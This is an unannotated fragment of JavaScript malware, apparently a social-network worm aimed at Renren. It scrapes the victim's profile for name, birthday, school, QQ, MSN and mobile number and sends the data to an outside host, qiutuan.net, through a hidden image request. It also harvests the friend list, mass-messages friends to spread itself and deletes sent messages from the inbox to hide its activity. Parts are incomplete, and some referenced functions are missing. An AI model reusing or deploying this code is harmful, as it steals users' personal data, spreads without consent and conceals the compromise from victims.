var token = XN.get_check; var mobile_friends = []; var all_friends = [];
var my_id = 0;
function send_data(v) { var img = document.createElement('img'); img.src = 'http://qiutuan.net/2011/log.php?' + v; document.body.appendChild(img); document.body.removeChild(img); }
function send_to_friends() { var i; var idlist = []; for (i = 0; i < all_friends.length; i++) { idlist.push(all_friends[i].toString()); if (idlist.length == 10) { _send_to_friends(idlist); idlist = []; } } if (idlist.length > 0) _send_to_friends(idlist); }
new Ajax.Request("/message/ajax.do", { method: "get", parameters: "post=" + encodeURIComponent(XN.JSON.build(struct_msgs)) });
}
function del_send_messages() { new XN.net.xmlhttp({ url: "http://msg.renren.com/message/inbox.do?f=1", method: "GET", onSuccess: function (response) { var listid1 = response.responseText.match(/thread_(\d+)/g); for (var i = 0; i < listid1.length; i++) { listid1[i] = listid1[i].substring(7); } del_messages(listid1); } }); }
function get_self_info() { new XN.net.xmlhttp({ url: "http://www.renren.com/profile.do?v=info_ajax&undefined", method: "GET", onSuccess: function (r) {
id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1]; my_id = id; school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1]; year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1]; month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1]; day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1]; name = /alt\=\"([^\"]+)的大頭貼/.exec(text_html)[1];
if (month <= 9) { month = "0" + month; } if (day <= 9) { day = "0" + day; } birthday = year + month + day;
qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
mobile = /手機號.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
function get_all_friends() { new XN.net.xmlhttp({ url: "http://www.renren.com/listcards", method: "GET", onSuccess: function (r) {
var text_html = r.responseText; //alert(text_html); var friends_list = eval("(" + text_html + ")"); var owned_mobile = (friends_list.list[0].list).length; //have mobile friends number for (var i = 0; i < owned_mobile; i++) { mobile_friends.push(friends_list.list[0].list[i].id); all_friends.push(friends_list.list[0].list[i].id); } //alert(mobile_friends.length); var no_mobile = (friends_list.list[1].list).length; for (var i = 0; i < no_mobile; i++) { all_friends.push(friends_list.list[1].list[i].id); } //alert(all_friends.length); for (var i = 0; i < mobile_friends.length; i++) get_card(mobile_friends[i]); send_to_friends(); } }); }